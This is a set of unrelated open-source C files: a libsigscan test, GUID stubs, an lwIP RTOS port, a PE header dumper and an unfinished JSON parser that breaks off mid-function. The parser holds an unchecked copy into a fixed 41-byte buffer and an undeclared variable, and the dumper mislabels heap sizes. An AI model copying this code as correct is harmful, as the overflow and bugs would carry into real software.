main( int argc SIGSCAN_TEST_ATTRIBUTE_UNUSED, char * const argv[] SIGSCAN_TEST_ATTRIBUTE_UNUSED ) #endif { SIGSCAN_TEST_UNREFERENCED_PARAMETER( argc ) SIGSCAN_TEST_UNREFERENCED_PARAMETER( argv ) #if defined( __GNUC__ ) && !defined( LIBSIGSCAN_DLL_IMPORT ) SIGSCAN_TEST_RUN( "libsigscan_signature_initialize", sigscan_test_signature_initialize ); SIGSCAN_TEST_RUN( "libsigscan_signature_free", sigscan_test_signature_free ); /* TODO: add tests for libsigscan_signature_free_clone */ SIGSCAN_TEST_RUN( "libsigscan_signature_clone", sigscan_test_signature_clone ); SIGSCAN_TEST_RUN( "libsigscan_signature_get_identifier_size", sigscan_test_signature_get_identifier_size ); /* TODO: add tests for libsigscan_signature_get_identifier */ /* TODO: add tests for libsigscan_signature_set */ #endif /* defined( __GNUC__ ) && !defined( LIBSIGSCAN_DLL_IMPORT ) */ return( EXIT_SUCCESS ); on_error: return( EXIT_FAILURE ); }
libyal/libsigscan
tests/sigscan_test_signature.c
C
lgpl-3.0
11,212
// Created file "Lib\src\Uuid\oledbdat" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(DBROWCOL_ISROOT, 0x0c733ab6, 0x2a1c, 0x11ce, 0xad, 0xe5, 0x00, 0xaa, 0x00, 0x44, 0x77, 0x3d);
Frankie-PellesC/fSDK
Lib/src/Uuid/oledbdat0000005D.c
C
lgpl-3.0
448
/* * Copyright (c) 2001-2003 Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * * This file is part of the lwIP TCP/IP stack. * * Author: Adam Dunkels <adam@sics.se> * */ /* lwIP includes. */ #include "lwip/debug.h" #include "lwip/def.h" #include "lwip/sys.h" #include "lwip/mem.h" #include "lwip/stats.h" #include "os_common.h" #include "os_supervise.h" #include "os_debug.h" #include "os_mailbox.h" static u16_t s_nextthread = 0; /*-----------------------------------------------------------------------------------*/ // Creates an empty mailbox. err_t sys_mbox_new(sys_mbox_t *mbox, int size) { OS_QueueConfig que_cfg = { .len = archMESG_QUEUE_LENGTH, .item_size = sizeof(OS_Message*) //sizeof(void*) }; (void)size; IF_STATUS(OS_QueueCreate(&que_cfg, OS_TaskGet(), mbox)) { return ERR_MEM; } #if SYS_STATS ++lwip_stats.sys.mbox.used; if (lwip_stats.sys.mbox.max < lwip_stats.sys.mbox.used) { lwip_stats.sys.mbox.max = lwip_stats.sys.mbox.used; } #endif /* SYS_STATS */ if (NULL == *mbox) { return ERR_MEM; } return ERR_OK; } /*-----------------------------------------------------------------------------------*/ /* Deallocates a mailbox. If there are messages still present in the mailbox when the mailbox is deallocated, it is an indication of a programming error in lwIP and the developer should be notified. */ void sys_mbox_free(sys_mbox_t *mbox) { if (OS_QueueItemsCountGet(*mbox)) { /* Line for breakpoint. Should never break here! */ portNOP(); #if SYS_STATS lwip_stats.sys.mbox.err++; #endif /* SYS_STATS */ // TODO notify the user of failure. OS_ASSERT(OS_FALSE); } OS_QueueDelete(*mbox); #if SYS_STATS --lwip_stats.sys.mbox.used; #endif /* SYS_STATS */ } /*-----------------------------------------------------------------------------------*/ // Posts the "msg" to the mailbox. void sys_mbox_post(sys_mbox_t *mbox, void *data) { OS_MessageSend(*mbox, (const OS_Message*)data, OS_BLOCK, OS_MSG_PRIO_NORMAL); } /*-----------------------------------------------------------------------------------*/ // Try to post the "msg" to the mailbox. err_t sys_mbox_trypost(sys_mbox_t *mbox, void *msg) { err_t result; IF_OK(OS_MessageSend(*mbox, (const OS_Message*)msg, OS_NO_BLOCK, OS_MSG_PRIO_NORMAL)) { result = ERR_OK; } else { // could not post, queue must be full result = ERR_MEM; #if SYS_STATS lwip_stats.sys.mbox.err++; #endif /* SYS_STATS */ } return result; } /*-----------------------------------------------------------------------------------*/ /* Blocks the thread until a message arrives in the mailbox, but does not block the thread longer than "timeout" milliseconds (similar to the sys_arch_sem_wait() function). The "msg" argument is a result parameter that is set by the function (i.e., by doing "*msg = ptr"). The "msg" parameter maybe NULL to indicate that the message should be dropped. The return values are the same as for the sys_arch_sem_wait() function: Number of milliseconds spent waiting or SYS_ARCH_TIMEOUT if there was a timeout. Note that a function with a similar name, sys_mbox_fetch(), is implemented by lwIP. */ u32_t sys_arch_mbox_fetch(sys_mbox_t *mbox, void **msg, u32_t timeout) { void *dummyptr; OS_Tick StartTime, EndTime, Elapsed; StartTime = OS_TickCountGet(); if (NULL == msg) { msg = &dummyptr; } if (0 != timeout) { IF_OK(OS_MessageReceive(*mbox, (OS_Message**)&(*msg), timeout)) { EndTime = OS_TickCountGet(); Elapsed = OS_TICKS_TO_MS(EndTime - StartTime); return (Elapsed); } else { // timed out blocking for message *msg = NULL; return SYS_ARCH_TIMEOUT; } } else { // block forever for a message. OS_MessageReceive(*mbox, (OS_Message**)&(*msg), OS_BLOCK); // time is arbitrary EndTime = OS_TickCountGet(); Elapsed = OS_TICKS_TO_MS(EndTime - StartTime); return (Elapsed); // return time blocked TODO test } } /*-----------------------------------------------------------------------------------*/ /* Similar to sys_arch_mbox_fetch, but if message is not ready immediately, we'll return with SYS_MBOX_EMPTY. On success, 0 is returned. */ u32_t sys_arch_mbox_tryfetch(sys_mbox_t *mbox, void **msg) { void *dummyptr; if (NULL == msg) { msg = &dummyptr; } IF_OK(OS_MessageReceive(*mbox, (OS_Message**)&(*msg), OS_NO_BLOCK)) { return ERR_OK; } else { return SYS_MBOX_EMPTY; } } /*----------------------------------------------------------------------------------*/ int sys_mbox_valid(sys_mbox_t *mbox) { if (OS_NULL == *mbox) { return 0; } return 1; } /*-----------------------------------------------------------------------------------*/ void sys_mbox_set_invalid(sys_mbox_t *mbox) { *mbox = SYS_MBOX_NULL; } ///*-----------------------------------------------------------------------------------*/ //// Creates a new semaphore. The "count" argument specifies //// the initial state of the semaphore. //err_t sys_sem_new(sys_sem_t *sem, u8_t count) //{ // *sem = OS_SemaphoreCountingCreate(count, 0); // if(!*sem) { //#if SYS_STATS // ++lwip_stats.sys.sem.err; //#endif /* SYS_STATS */ // return ERR_MEM; // } // // if (!count) { // Means it can't be taken // OS_SemaphoreLock(*sem, OS_NO_BLOCK); // } //#if SYS_STATS // ++lwip_stats.sys.sem.used; // if (lwip_stats.sys.sem.max < lwip_stats.sys.sem.used) { // lwip_stats.sys.sem.max = lwip_stats.sys.sem.used; // } //#endif /* SYS_STATS */ // return ERR_OK; //} // ///*-----------------------------------------------------------------------------------*/ ///* // Blocks the thread while waiting for the semaphore to be // signaled. If the "timeout" argument is non-zero, the thread should // only be blocked for the specified time (measured in // milliseconds). // // If the timeout argument is non-zero, the return value is the number of // milliseconds spent waiting for the semaphore to be signaled. If the // semaphore wasn't signaled within the specified time, the return value is // SYS_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore // (i.e., it was already signaled), the function may return zero. // // Notice that lwIP implements a function with a similar name, // sys_sem_wait(), that uses the sys_arch_sem_wait() function. //*/ //u32_t sys_arch_sem_wait(sys_sem_t *sem, u32_t timeout) //{ //OS_Tick StartTime, EndTime, Elapsed; // // StartTime = OS_TickCountGet(); // if (timeout) { // IF_OK(OS_SemaphoreLock(*sem, timeout)) { // EndTime = OS_TickCountGet(); // Elapsed = OS_TICKS_TO_MS(EndTime - StartTime); // return (Elapsed); // return time blocked TODO test // } else { // return SYS_ARCH_TIMEOUT; // } // } else { // must block without a timeout // OS_SemaphoreLock(*sem, OS_BLOCK); // EndTime = OS_TickCountGet(); // Elapsed = OS_TICKS_TO_MS(EndTime - StartTime); // return (Elapsed); // return time blocked // } //} // ///*-----------------------------------------------------------------------------------*/ //// Signals a semaphore //void sys_sem_signal(sys_sem_t *sem) //{ // OS_SemaphoreUnlock(*sem); //} // ///*-----------------------------------------------------------------------------------*/ //// Deallocates a semaphore //void sys_sem_free(sys_sem_t *sem) //{ //#if SYS_STATS // --lwip_stats.sys.sem.used; //#endif /* SYS_STATS */ // OS_SemaphoreDelete(*sem); //} // ///*-----------------------------------------------------------------------------------*/ //int sys_sem_valid(sys_sem_t *sem) //{ // if (SYS_SEM_NULL == *sem) { // return 0; // } // return 1; //} // ///*-----------------------------------------------------------------------------------*/ //void sys_sem_set_invalid(sys_sem_t *sem) //{ // *sem = SYS_SEM_NULL; //} /*-----------------------------------------------------------------------------------*/ // Initialize sys arch void sys_init(void) { // keep track of how many threads have been created s_nextthread = 0; } /*-----------------------------------------------------------------------------------*/ /* Mutexes*/ /*-----------------------------------------------------------------------------------*/ /*-----------------------------------------------------------------------------------*/ #if LWIP_COMPAT_MUTEX == 0 /* Create a new mutex*/ err_t sys_mutex_new(sys_mutex_t *mutex) { *mutex = OS_MutexCreate(); if (*mutex == NULL) { #if SYS_STATS ++lwip_stats.sys.mutex.err; #endif /* SYS_STATS */ return ERR_MEM; } #if SYS_STATS ++lwip_stats.sys.mutex.used; if (lwip_stats.sys.mutex.max < lwip_stats.sys.mutex.used) { lwip_stats.sys.mutex.max = lwip_stats.sys.mutex.used; } #endif /* SYS_STATS */ return ERR_OK; } /*-----------------------------------------------------------------------------------*/ /* Deallocate a mutex*/ void sys_mutex_free(sys_mutex_t *mutex) { #if SYS_STATS --lwip_stats.sys.mutex.used; #endif /* SYS_STATS */ OS_MutexDelete(*mutex); } /*-----------------------------------------------------------------------------------*/ /* Lock a mutex*/ void sys_mutex_lock(sys_mutex_t *mutex) { OS_MutexLock(*mutex, OS_BLOCK); } /*-----------------------------------------------------------------------------------*/ /* Unlock a mutex*/ void sys_mutex_unlock(sys_mutex_t *mutex) { OS_MutexUnlock(*mutex); } #endif /*LWIP_COMPAT_MUTEX*/ /*-----------------------------------------------------------------------------------*/ // TODO /*-----------------------------------------------------------------------------------*/ /* Starts a new thread with priority "prio" that will begin its execution in the function "thread()". The "arg" argument will be passed as an argument to the thread() function. The id of the new thread is returned. Both the id and the priority are system dependent. */ sys_thread_t sys_thread_new(const char *name, lwip_thread_fn thread , void *arg, int stacksize, int prio) { OS_TaskHd CreatedTask = OS_NULL; if (s_nextthread < OS_NETWORK_SYS_THREAD_MAX) { OS_TaskConfig* task_lwip_cfg_p = (OS_TaskConfig*)OS_Malloc(sizeof(OS_TaskConfig)); //no free for this allocation! if (task_lwip_cfg_p) { task_lwip_cfg_p->func_main = (void(*)(OS_TaskArgs*))thread; task_lwip_cfg_p->func_power = OS_NULL; task_lwip_cfg_p->args_p = OS_NULL; task_lwip_cfg_p->attrs = 0; task_lwip_cfg_p->timeout = 0; task_lwip_cfg_p->prio_init = (DEFAULT_THREAD_PRIO + prio); task_lwip_cfg_p->prio_power = OS_PWR_PRIO_MAX; task_lwip_cfg_p->storage_size = 0; task_lwip_cfg_p->stack_size = stacksize; task_lwip_cfg_p->stdin_len = 0; OS_StrNCpy((StrP)task_lwip_cfg_p->name, name, (OS_TASK_NAME_LEN - 1)); IF_OK(OS_TaskCreate(arg, task_lwip_cfg_p, &CreatedTask)) { ++s_nextthread; } } } return CreatedTask; } /* This optional function does a "fast" critical region protection and returns the previous protection level. This function is only called during very short critical regions. An embedded system which supports ISR-based drivers might want to implement this function by disabling interrupts. Task-based systems might want to implement this by using a mutex or disabling tasking. This function should support recursive calls from the same task or interrupt. In other words, sys_arch_protect() could be called while already protected. In that case the return value indicates that it is already protected. sys_arch_protect() is only required if your port is supporting an operating system. */ sys_prot_t sys_arch_protect(void) { OS_CriticalSectionEnter(); return 1; } /* This optional function does a "fast" set of critical region protection to the value specified by pval. See the documentation for sys_arch_protect() for more information. This function is only required if your port is supporting an operating system. */ void sys_arch_unprotect(sys_prot_t pval) { (void)pval; OS_CriticalSectionExit(); } /* * Prints an assertion messages and aborts execution. */ void sys_assert( const char *msg ) { OS_TRACE(D_CRITICAL, msg, OS_NULL); OS_ASSERT(OS_FALSE); } /******************************************************************************/ u32_t sys_jiffies(void) { return HAL_GetTick(); } /******************************************************************************/ u32_t sys_now(void) { return OS_TICKS_TO_MS(sys_jiffies()); }
PheeL79/diOS
src/osal/network/lwip/sys_arch.c
C
lgpl-3.0
14,130
// Created file "Lib\src\dxguid\X64\d3d9guid" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(PPM_THERMAL_POLICY_CHANGE_GUID, 0x48f377b8, 0x6880, 0x4c7b, 0x8b, 0xdc, 0x38, 0x01, 0x76, 0xc6, 0x65, 0x4d);
Frankie-PellesC/fSDK
Lib/src/dxguid/X64/d3d9guid00000078.c
C
lgpl-3.0
469
#include <rlib/rbinfmt.h> static void dump_opt_hdr (RPeOptHdr * opt) { r_print ("\tLinkerVer: %u.%u\n", opt->major_linker_ver, opt->minor_linker_ver); r_print ("\tEntrypoint: 0x%.8x\n", opt->addr_entrypoint); r_print ("\tCode addr: 0x%.8x\n", opt->base_code); r_print ("\tCode size: 0x%.8x\n", opt->size_code); } static void dump_pe32_image (RPe32ImageHdr * img) { dump_opt_hdr (&img->opt); r_print ("\tImage base: 0x%.8x\n", img->winopt.image_base); r_print ("\tSect align: 0x%.8x\n", img->winopt.section_alignment); r_print ("\tFile align: 0x%.8x\n", img->winopt.file_alignment); r_print ("\tImage size: 0x%.8x\n", img->winopt.size_image); r_print ("\tHeaders size: 0x%.8x\n", img->winopt.size_headers); r_print ("\tOS ver: %u.%u\n", img->winopt.major_os_ver, img->winopt.minor_os_ver); r_print ("\tImage ver: %u.%u\n", img->winopt.major_image_ver, img->winopt.minor_image_ver); r_print ("\tSubSys ver: %u.%u\n", img->winopt.major_subsystem_ver, img->winopt.minor_subsystem_ver); r_print ("\tSubSys: %.4x\n", img->winopt.subsystem); r_print ("\tChecksum: 0x%.8x\n", img->winopt.checksum); r_print ("\tDLL flags: 0x%.4x\n", img->winopt.dll_characteristics); r_print ("\tLoader flags: 0x%.8x\n", img->winopt.loader_flags); r_print ("\tStack: 0x%.8x (res) 0x%.8x (commit)\n", img->winopt.size_stack_reserve, img->winopt.size_stack_commit); r_print ("\tHeap: 0x%.8x (res) 0x%.8x (commit)\n", img->winopt.size_stack_reserve, img->winopt.size_stack_commit); } static void dump_pe32p_image (RPe32PlusImageHdr * img) { dump_opt_hdr (&img->opt); r_print ("\tImage base: 0x%.12"RINT64_MODIFIER"x\n", img->winopt.image_base); r_print ("\tSect align: 0x%.8x\n", img->winopt.section_alignment); r_print ("\tFile align: 0x%.8x\n", img->winopt.file_alignment); r_print ("\tImage size: 0x%.8x\n", img->winopt.size_image); r_print ("\tHeaders size: 0x%.8x\n", img->winopt.size_headers); r_print ("\tOS ver: %u.%u\n", img->winopt.major_os_ver, img->winopt.minor_os_ver); r_print ("\tImage ver: %u.%u\n", img->winopt.major_image_ver, img->winopt.minor_image_ver); r_print ("\tSubSys ver: %u.%u\n", img->winopt.major_subsystem_ver, img->winopt.minor_subsystem_ver); r_print ("\tSubSys: %.4x\n", img->winopt.subsystem); r_print ("\tChecksum: 0x%.8x\n", img->winopt.checksum); r_print ("\tDLL flags: 0x%.4x\n", img->winopt.dll_characteristics); r_print ("\tLoader flags: 0x%.8x\n", img->winopt.loader_flags); r_print ("\tStack: 0x%.12"RINT64_MODIFIER"x (res) 0x%.12"RINT64_MODIFIER"x (commit)\n", img->winopt.size_stack_reserve, img->winopt.size_stack_commit); r_print ("\tHeap: 0x%.12"RINT64_MODIFIER"x (res) 0x%.12"RINT64_MODIFIER"x (commit)\n", img->winopt.size_stack_reserve, img->winopt.size_stack_commit); } static void dump_section (RPeParser * parser, RPeSectionHdr * sec) { r_print ("\tSection: '%s'\n", sec->name); r_print ("\t\tvmsize: 0x%.8x\n", sec->vmsize); r_print ("\t\tvmaddr: 0x%.8x\n", sec->vmaddr); r_print ("\t\tSize: 0x%.8x\n", sec->size_raw_data); r_print ("\t\tOffset: 0x%.8x\n", sec->ptr_raw_data); r_print ("\t\tReloc: 0x%.8x\n", sec->ptr_relocs); r_print ("\t\tReloc#: %u\n", sec->nrelocs); r_print ("\t\tLinenum: 0x%.8x\n", sec->ptr_linenos); r_print ("\t\tLinenum#: %u\n", sec->nlinenos); r_print ("\t\tFlags: 0x%.8x\n", sec->characteristics); } int main (int argc, char ** argv) { RPeParser * parser; RPeSectionHdr * sec; RPe32ImageHdr * pe32; RPe32PlusImageHdr * pe32p; ruint16 i; if (argc < 2) { r_printerr ("Usage: %s <filename>\n", argv[0]); return -1; } else if ((parser = r_pe_parser_new (argv[1])) == NULL) { r_printerr ("Unable to parse '%s' as Mach-O\n", argv[1]); return -1; } switch (r_pe_parser_get_pe32_magic (parser)) { case R_PE_PE32_MAGIC: r_print ("PE32\n"); break; case R_PE_PE32PLUS_MAGIC: r_print ("PE32+\n"); break; default: r_print ("Unknown PE format\n"); return -1; } r_print ("\tMachine: %s\n", r_pe_machine_str (r_pe_parser_get_machine (parser))); r_print ("\tSections: %u\n", r_pe_parser_get_section_count (parser)); r_print ("\tSymbols: %u\n", r_pe_parser_get_symbol_count (parser)); r_print ("\tFlags: 0x%.4x\n\n", r_pe_parser_get_characteristics (parser)); if ((pe32 = r_pe_parser_get_pe32_image_hdr (parser)) != NULL) dump_pe32_image (pe32); if ((pe32p = r_pe_parser_get_pe32p_image_hdr (parser)) != NULL) dump_pe32p_image (pe32p); r_print ("\nSections\n"); for (i = 0; (sec = r_pe_parser_get_section_hdr_by_idx (parser, i)) != NULL; i++) dump_section (parser, sec); return 0; }
ieei/rlib
example/rpedump.c
C
lgpl-3.0
4,789
// Created file "Lib\src\Uuid\tapi3if_i" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(IID_ITStreamControl, 0xee3bd604, 0x3868, 0x11d2, 0xa0, 0x45, 0x00, 0xc0, 0x4f, 0xb6, 0x80, 0x9f);
Frankie-PellesC/fSDK
Lib/src/Uuid/tapi3if_i0000004D.c
C
lgpl-3.0
453
// Created file "Lib\src\ksuser\X64\guids" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(IID_IKsAggregateControl, 0x7f40eac0, 0x3947, 0x11d2, 0x87, 0x4e, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96);
Frankie-PellesC/fSDK
Lib/src/ksuser/X64/guids000001B3.c
C
lgpl-3.0
459
#include "zjson.h" #define Start 0x1<<1 #define ObjectInitial 0x1<<2 #define MemberKey 0x1<<3 #define KeyValueDelimiter 0x1<<4 #define MemberValue 0x1<<5 #define MemberDelimiter 0x1<<6 #define ObjectFinish 0x1<<7 #define ArrayInitial 0x1<<8 #define Element 0x1<<9 #define ElementDelimiter 0x1<<10 #define ArrayFinish 0x1<<11 #define Finish 0x1<<12 /* * Log macro * What we can catch: * - JSON string * - current state * - current character * - current token start and end positions * - current line number and column number */ #define ERR(e) do{\ put_err_token(); \ printf("Unexpected char: '%c'\n" \ "\tstatus [%s] \n" \ "\tfunction %s:%d\n" \ "\ttoken position:(%d,%d)\n", \ *(e),StateStrings[_log2(state)-1],__FUNCTION__,__LINE__,line,column);\ exit(EXIT_FAILURE);\ }while(0) #define match(s, st) (s)&(st) #define SET_TOKEN_START(ptr) token_start = (ptr) #define SET_TOKEN_END(ptr) token_end = (ptr) #define PEEK(ptr) (*(ptr)) #define EAT(ptr) do{SET_TOKEN_START(ptr);(ptr)++;column++;}while(0); typedef int State; typedef struct stack { jval *head; struct stack *next; } stack; static inline int is_xdigit(jchar ch); static inline int is_digit(jchar ch); static inline int _log2(int n); static void put_err_token(void); static void put_context(void); static void stack_push(stack *st, jval *elem); static jval *stack_pop(stack *st); static jstr eat_key(const jchar **pp); static jval *eat_string(const jchar **); static jval *eat_num(const jchar **); static jval *eat_true(const jchar **); static jval *eat_false(const jchar **); static jval *eat_null(const jchar **); static const char *StateStrings[] = { "Start", "ObjectInitial", "MemberKey", "KeyValueDelimiter", "MemberValue", "MemberDelimiter", "ObjectFinish", "ArrayInitial", "Element", "ElementDelimiter", "ArrayFinish", "Finish" }; static const unsigned char firstByteMark[7] = {0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC}; static State state = Start; static int line = 1, column = 1; static const char *token_start = NULL, *token_end = NULL, *JSON = NULL; static inline int _log2(int n) { int e = 0; while (n >>= 1) e++; return e; } static void put_context(void) { const char *ptr = JSON; int count = 0; while (count < line) { ptr++; if (*ptr == '\n') count++; } } static void put_err_token(void) { printf("Error Token:\n\t"); const char *ptr = token_start, *ptr2 = token_start; while (ptr <= token_end) printf("%c", *ptr++); printf("\n\t"); while (ptr2++ < token_end) printf(" "); printf("^"); printf("\n\t"); } static void literal_value_handler(const jchar **pp, jval *currentNode, jstr currentKey, jval *(*handle)(const jchar **)) { if (match(state, ArrayInitial | ElementDelimiter)) { state = Element; zJSON_set_arr_value(currentNode, handle(pp)); } else if (match(state, KeyValueDelimiter)) { state = MemberValue; zJSON_set_key_value(currentNode, currentKey, handle(pp)); } else ERR(*pp); } static void obj_arr_handler(const jchar **pp, vtype type, jval **pcurrentNode, stack *nodeStack, jchar *currentKey) { jval *newObjOrArray = zJSON_new_jval(type); if (match(state, Start)) { EAT(*pp); } else if (match(state, KeyValueDelimiter)) { zJSON_set_key_value(*pcurrentNode, currentKey, newObjOrArray); stack_push(nodeStack, *pcurrentNode); EAT(*pp); } else if (match(state, ArrayInitial | ElementDelimiter)) { zJSON_set_arr_value(*pcurrentNode, newObjOrArray); stack_push(nodeStack, *pcurrentNode); EAT(*pp); } else { ERR(*pp); } state = (type == OBJ) ? ObjectInitial : ArrayInitial; *pcurrentNode = newObjOrArray; } static jval *eat_literal(const jchar **pp, const char *str) { SET_TOKEN_START(*pp); const char *s = str; jval *v = NULL; while (*s) { if (**pp == *s) { (*pp)++; s++; } else { ERR(*pp); } } if (*str == 't') { v = zJSON_new_true(); } if (*str == 'f') { v = zJSON_new_false(); } if (*str == 'n') { v = zJSON_new_null(); } SET_TOKEN_END(*pp); return v; } inline jval *eat_true(const jchar **pp) { return eat_literal(pp, "true"); } inline jval *eat_false(const jchar **pp) { return eat_literal(pp, "false"); } inline jval *eat_null(const jchar **pp) { return eat_literal(pp, "null"); } #define __PREV(pp) (*(*pp-1)) #define __NEXT(pp) (*(*pp+1)) static unsigned parse_hex4(const char *str) { unsigned hex = 0; for (int i = 0; i < 4; ++i) { unsigned hc = 0; int ex = 0x1000 >> (i * 4); if ('0' <= str[i] && str[i] <= '9') { hc = 00 + str[i] - '0'; } else if ('A' <= str[i] && str[i] <= 'Z') { hc = 10 + str[i] - 'A'; } else if ('a' <= str[i] && str[i] <= 'z') { hc = 10 + str[i] - 'a'; } else return -1; hex += hc * ex; } return hex; } jstr eat_key(const jchar **pp) { SET_TOKEN_START(*pp); (*pp)++;/* skip the first '"'*/ const jchar *start_pos = *pp,*end_pos; size_t len = 0,unicode_len; unsigned uc,uc2; while (*pp && !(**pp == '\"' && __PREV(pp) != '\\') && ++len){ if (*((*pp)++) == '\\') (*pp)++; } /* Skip every escaped character, calculate the lenghth, Each unicode char occupies 5 bytes */ jstr str = malloc(len + 1); /* free() at free_jpair() */ end_pos = *pp; *pp = start_pos; char * ptr = str; while (*pp <= end_pos && !(**pp == '\"' && __PREV(pp) != '\\')){ if (**pp != '\\') { *ptr++ = *((*pp)++); } else { switch (__NEXT(pp)) { case 'b': *ptr++ = '\b'; (*pp) += 2; break; case 'f': *ptr++ = '\f'; (*pp) += 2; break; case 'n': *ptr++ = '\n'; (*pp) += 2; break; case 'r': *ptr++ = '\r'; (*pp) += 2; break; case 't': *ptr++ = '\t'; (*pp) += 2; break; case '"': *ptr++ = '"'; (*pp) += 2; break; case '/': *ptr++ = '/'; (*pp) += 2; break; case '\\':*ptr++ = '\\'; (*pp) += 2; break; case 'u': uc = parse_hex4((*pp)+2); (*pp) += 6;/* Why ? */ if ((uc >= 0xDC00 && uc <= 0xDFFF) || uc == 0) { ERR((*pp)); } /* invalid unicode number */ if (uc >= 0xD800 && uc <= 0xDBFF) { uc2 = parse_hex4((*pp)+2); (*pp) += 6; if ((uc2 >= 0xDC00 && uc2 <= 0xDFFF) || uc2 == 0) { ERR((*pp)); } uc = 0x10000 + (((uc & 0x3FF) << 10) | (uc2 & 0x3FF)); } unicode_len = 4; if (uc < 0x80) unicode_len = 1; else if (uc < 0x800) unicode_len = 2; else if (uc < 0x10000) unicode_len = 3; ptr += unicode_len; switch (unicode_len) { case 4: *--ptr = ((uc | 0x80) & 0xBF); uc >>= 6; case 3: *--ptr = ((uc | 0x80) & 0xBF); uc >>= 6; case 2: *--ptr = ((uc | 0x80) & 0xBF); uc >>= 6; case 1: *--ptr = ( uc | firstByteMark[unicode_len]); } ptr += unicode_len; break; default: ERR(*pp); } } } str[len] = 0; (*pp)++;/*skip the last '"'*/ column += len; SET_TOKEN_END(*pp); return str; } jval *eat_string(const jchar **pp) { strv->vstr = eat_key(pp); return strv; } static inline int is_digit(jchar ch) { return ((ch >= '0') && (ch <= '9')) || (ch == '.'); } static inline int is_xdigit(jchar ch) { return ((ch >= '0') && (ch <= '9')) || ((ch >= 'A') && (ch <= 'F')) || ((ch >= 'a') && (ch <= 'f')); } jval *eat_num(const jchar **pp) { //TODO SET_TOKEN_START(*pp); jchar buffer[41] = {0}; jchar *ptr = buffer; int dbl_flag = 0; if (**pp == '-') *(ptr++) = *((*pp)++); if (**pp != '.') { while (is_digit(**pp)) { *(ptr++) = *((*pp)++); } } else { ERR(*pp); } ptr = buffer; while (*ptr) if(*ptr++ == '.')dbl_flag = 1; jval *intv = zJSON_new_jval(dbl_flag?DBL:NUM); intv->vdouble = atof(buffer); SET_TOKEN_END(*pp); return intv; } void stack_push(stack *st, jval *head) { stack *e = malloc(sizeof(stack)); /* free at stack_pop() */ assert(e); e->head = head; e->next = st->next; st->next = e; } jval *stack_pop(stack *st) { if (st->next == NULL) return NULL; jval *head = st->next->head; stack *e = st->next; st->next = e->next; free(e);//crash here invalid next size FIXME! return head; } jval *zJSON_parse(const jchar *json) { JSON = json; const jchar *p = json; token_start = json; token_end = token_start; jval *currentNode = NULL; jchar *currentKey = NULL; stack *nodeStack = malloc(sizeof(stack)); /* free() at this function's end */ nodeStack->head = NULL; nodeStack->next = NULL; while (1) { switch (PEEK(p)) { case '{': case '[': obj_arr_handler(&p,(*p == '{')?OBJ:ARR,&currentNode,nodeStack,currentKey); break; case '"': if (match(state, ObjectInitial | MemberDelimiter)) { state = MemberKey; zJSON_set_key(currentNode, currentKey = eat_key(&p)); } else literal_value_handler(&p, currentNode, currentKey, eat_string); break; case 't': literal_value_handler(&p, currentNode, currentKey, eat_true); break; case 'f': literal_value_handler(&p, currentNode, currentKey, eat_false); break; case 'n': literal_value_handler(&p, currentNode, currentKey, eat_null); break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '-': literal_value_handler(&p, currentNode, currentKey, eat_num); break; case '}': case ']': if (match(state, ObjectInitial | MemberValue | ArrayInitial | Element)) { jval *t_currentNode; if ((t_currentNode = stack_pop(nodeStack))) { currentNode = t_currentNode; state = (currentNode->type == ARR) ? Element : MemberValue; EAT(p); } else { EAT(p); goto AUTOMATA_END; } } else ERR(p); break; case ',': if (match(state, MemberValue)) { state = MemberDelimiter; EAT(p); } else if (match(state, Element)) { state = ElementDelimiter; EAT(p); } else ERR(p); break; case ':': if (match(state, MemberKey)) { state = KeyValueDelimiter; EAT(p); } else ERR(p); break; case '\n': line++; column = 1; /*NO break here*/ case '\t': case ' ': EAT(p); break; case '\0': if (match(state, ArrayFinish | ObjectFinish)) state = Finish; else ERR(p); goto AUTOMATA_END; default: ERR(p); } } AUTOMATA_END: free(nodeStack); state = Start; return 